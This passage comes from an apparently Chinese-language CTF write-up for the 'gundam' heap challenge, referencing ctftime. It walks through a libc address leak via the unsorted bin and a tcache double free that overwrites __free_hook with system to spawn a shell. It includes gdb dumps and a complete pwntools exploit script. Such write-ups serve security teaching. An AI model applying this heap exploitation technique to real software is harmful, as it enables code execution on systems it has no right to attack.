| | 0x00000eed call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00000eeb (sub.Done_e22)
|
||
| `-> 0x00000ef2 leave
|
||
\ 0x00000ef3 ret
|
||
```
|
||
该函数会找出所有 factory[i] 不为 0,且 factory[i]->flag 为 0 的 gundam,然后将该 gundam 结构体释放掉,factory[i] 置为 0,最后 gundam_num 每次减 1。
|
||
|
||
经过这个过程,销毁 gundam 留下的问题基本解决了,除了 name 指针依然存在。
|
||
|
||
|
||
## Exploit
|
||
所以利用过程如下:
|
||
1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出 `__free_hook` 和 `system` 的地址。
|
||
2. 利用 double free,将 `__free_hook` 修改为 `system`。
|
||
3. 当调用 `free` 的时候就会调用 `system`,获得 shell。
|
||
|
||
#### leak
|
||
```python
|
||
def leak():
|
||
global __free_hook_addr
|
||
global system_addr
|
||
|
||
for i in range(9):
|
||
build('A'*7)
|
||
for i in range(7):
|
||
destroy(i) # tcache bin
|
||
destroy(7) # unsorted bin
|
||
|
||
blow_up()
|
||
for i in range(8):
|
||
build('A'*7)
|
||
|
||
visit()
|
||
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
|
||
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
|
||
__free_hook_addr = libc_base + libc.symbols['__free_hook']
|
||
system_addr = libc_base + libc.symbols['system']
|
||
|
||
log.info("libc base: 0x%x" % libc_base)
|
||
log.info("__free_hook address: 0x%x" % __free_hook_addr)
|
||
log.info("system address: 0x%x" % system_addr)
|
||
```
|
||
|
||
chunk 被放进 unsorted bin 时:
|
||
```
|
||
gdb-peda$ vmmap heap
|
||
Start End Perm Name
|
||
0x0000555555757000 0x0000555555778000 rw-p [heap]
|
||
gdb-peda$ x/30gx 0x0000555555757000+0x10
|
||
0x555555757010: 0x0000000000000000 0x0700000000000000 <-- counts
|
||
0x555555757020: 0x0000000000000000 0x0000000000000000
|
||
0x555555757030: 0x0000000000000000 0x0000000000000000
|
||
0x555555757040: 0x0000000000000000 0x0000000000000000
|
||
0x555555757050: 0x0000000000000000 0x0000000000000000
|
||
0x555555757060: 0x0000000000000000 0x0000000000000000
|
||
0x555555757070: 0x0000000000000000 0x0000000000000000
|
||
0x555555757080: 0x0000000000000000 0x0000000000000000
|
||
0x555555757090: 0x0000000000000000 0x0000000000000000
|
||
0x5555557570a0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557570b0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
|
||
0x5555557570d0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557570e0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557570f0: 0x0000000000000000 0x0000000000000000
|
||
gdb-peda$ x/6gx 0x555555757b50-0x10
|
||
0x555555757b40: 0x0000000000000000 0x0000000000000111
|
||
0x555555757b50: 0x00007ffff7dd2c78 0x00007ffff7dd2c78 <-- unsorted bin
|
||
0x555555757b60: 0x0000000000000000 0x0000000000000000
|
||
gdb-peda$ vmmap libc
|
||
Start End Perm Name
|
||
0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/gundam/libc.so.6
|
||
0x00007ffff7bce000 0x00007ffff7dce000 ---p /home/firmy/gundam/libc.so.6
|
||
0x00007ffff7dce000 0x00007ffff7dd2000 r--p /home/firmy/gundam/libc.so.6
|
||
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /home/firmy/gundam/libc.so.6
|
||
gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000
|
||
$1 = 0x3dac78
|
||
```
|
||
可以看到对应的 tcache bin 中已经放满了 7 个 chunk,所以第 8 块 chunk 被放进了 unsorted bin。
|
||
|
||
再次 malloc 之后:
|
||
```
|
||
gdb-peda$ x/6gx 0x555555757b50-0x10
|
||
0x555555757b40: 0x0000000000000000 0x0000000000000111
|
||
0x555555757b50: 0x0a41414141414141 0x00007ffff7dd2c78
|
||
0x555555757b60: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
可以看到程序并没有在字符串后加 '\x00' 隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。
|
||
|
||
```
|
||
[*] libc base: 0x7ffff79f8000
|
||
[*] __free_hook address: 0x7ffff7dd48a8
|
||
[*] system address: 0x7ffff7a3fdc0
|
||
```
|
||
|
||
#### overwrite
|
||
```python
|
||
def overwrite():
|
||
destroy(2)
|
||
destroy(1)
|
||
destroy(0)
|
||
destroy(0) # double free
|
||
|
||
blow_up()
|
||
build(p64(__free_hook_addr)) # 0
|
||
build('/bin/sh\x00') # 1
|
||
build(p64(system_addr)) # 2
|
||
```
|
||
|
||
触发 double free 时:
|
||
```
|
||
gdb-peda$ x/30gx 0x0000555555757000+0x10
|
||
0x555555757010: 0x0000000000000000 0x0400000000000000 <-- counts
|
||
0x555555757020: 0x0000000000000000 0x0000000000000000
|
||
0x555555757030: 0x0000000000000000 0x0000000000000000
|
||
0x555555757040: 0x0000000000000000 0x0000000000000000
|
||
0x555555757050: 0x0000000000000000 0x0000000000000000
|
||
0x555555757060: 0x0000000000000000 0x0000000000000000
|
||
0x555555757070: 0x0000000000000000 0x0000000000000000
|
||
0x555555757080: 0x0000000000000000 0x0000000000000000
|
||
0x555555757090: 0x0000000000000000 0x0000000000000000
|
||
0x5555557570a0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557570b0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
|
||
0x5555557570d0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557570e0: 0x0000000000000000 0x0000000000000000
|
||
0x5555557570f0: 0x0000000000000000 0x0000000000000000
|
||
gdb-peda$ x/6gx 0x0000555555757a10-0x10
|
||
0x555555757a00: 0x0000000000000000 0x0000000000000111
|
||
0x555555757a10: 0x0000555555757a10 0x0000000000000000 <-- fd pointer
|
||
0x555555757a20: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
其 fd 指针指向了它自己。
|
||
|
||
接下来的 malloc 将改写 `__free_hook` 的地址:
|
||
```
|
||
gdb-peda$ x/6gx 0x0000555555757a10-0x10
|
||
0x555555757a00: 0x0000000000000000 0x0000000000000111
|
||
0x555555757a10: 0x0068732f6e69622f 0x000000000000000a
|
||
0x555555757a20: 0x0000000000000000 0x0000000000000000
|
||
gdb-peda$ x/gx 0x00007ffff7dd48a8
|
||
0x7ffff7dd48a8 <__free_hook>: 0x00007ffff7a3fdc0
|
||
gdb-peda$ p system
|
||
$2 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
|
||
```
|
||
|
||
#### pwn
|
||
```python
|
||
def pwn():
|
||
destroy(1)
|
||
io.interactive()
|
||
```
|
||
|
||
Bingo!!!
|
||
```
|
||
$ python exp.py
|
||
[+] Starting local process './gundam': pid 7264
|
||
[*] Switching to interactive mode
|
||
$ whoami
|
||
firmy
|
||
```
|
||
|
||
#### exp
|
||
完整的 exp 如下:
|
||
```python
|
||
#!/usr/bin/env python
|
||
|
||
from pwn import *
|
||
|
||
#context.log_level = 'debug'
|
||
|
||
io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'})
|
||
#elf = ELF('gundam')
|
||
libc = ELF('libc.so.6')
|
||
|
||
def build(name):
|
||
io.sendlineafter("choice : ", '1')
|
||
io.sendlineafter("gundam :", name)
|
||
io.sendlineafter("gundam :", '0')
|
||
|
||
def visit():
|
||
io.sendlineafter("choice : ", '2')
|
||
|
||
def destroy(idx):
|
||
io.sendlineafter("choice : ", '3')
|
||
io.sendlineafter("Destory:", str(idx))
|
||
|
||
def blow_up():
|
||
io.sendlineafter("choice : ", '4')
|
||
|
||
def leak():
|
||
global __free_hook_addr
|
||
global system_addr
|
||
|
||
for i in range(9):
|
||
build('A'*7)
|
||
for i in range(7):
|
||
destroy(i) # tcache bin
|
||
destroy(7) # unsorted bin
|
||
|
||
blow_up()
|
||
for i in range(8):
|
||
build('A'*7)
|
||
|
||
visit()
|
||
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
|
||
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
|
||
__free_hook_addr = libc_base + libc.symbols['__free_hook']
|
||
system_addr = libc_base + libc.symbols['system']
|
||
|
||
log.info("libc base: 0x%x" % libc_base)
|
||
log.info("__free_hook address: 0x%x" % __free_hook_addr)
|
||
log.info("system address: 0x%x" % system_addr)
|
||
|
||
def overwrite():
|
||
destroy(2)
|
||
destroy(1)
|
||
destroy(0)
|
||
destroy(0) # double free
|
||
|
||
blow_up()
|
||
build(p64(__free_hook_addr)) # 0
|
||
build('/bin/sh\x00') # 1
|
||
build(p64(system_addr)) # 2
|
||
|
||
def pwn():
|
||
destroy(1)
|
||
io.interactive()
|
||
|
||
if __name__ == "__main__":
|
||
leak()
|
||
overwrite()
|
||
pwn()
|
||
```
|
||
|
||
|
||
## 参考资料
|
||
- https://ctftime.org/task/5924
|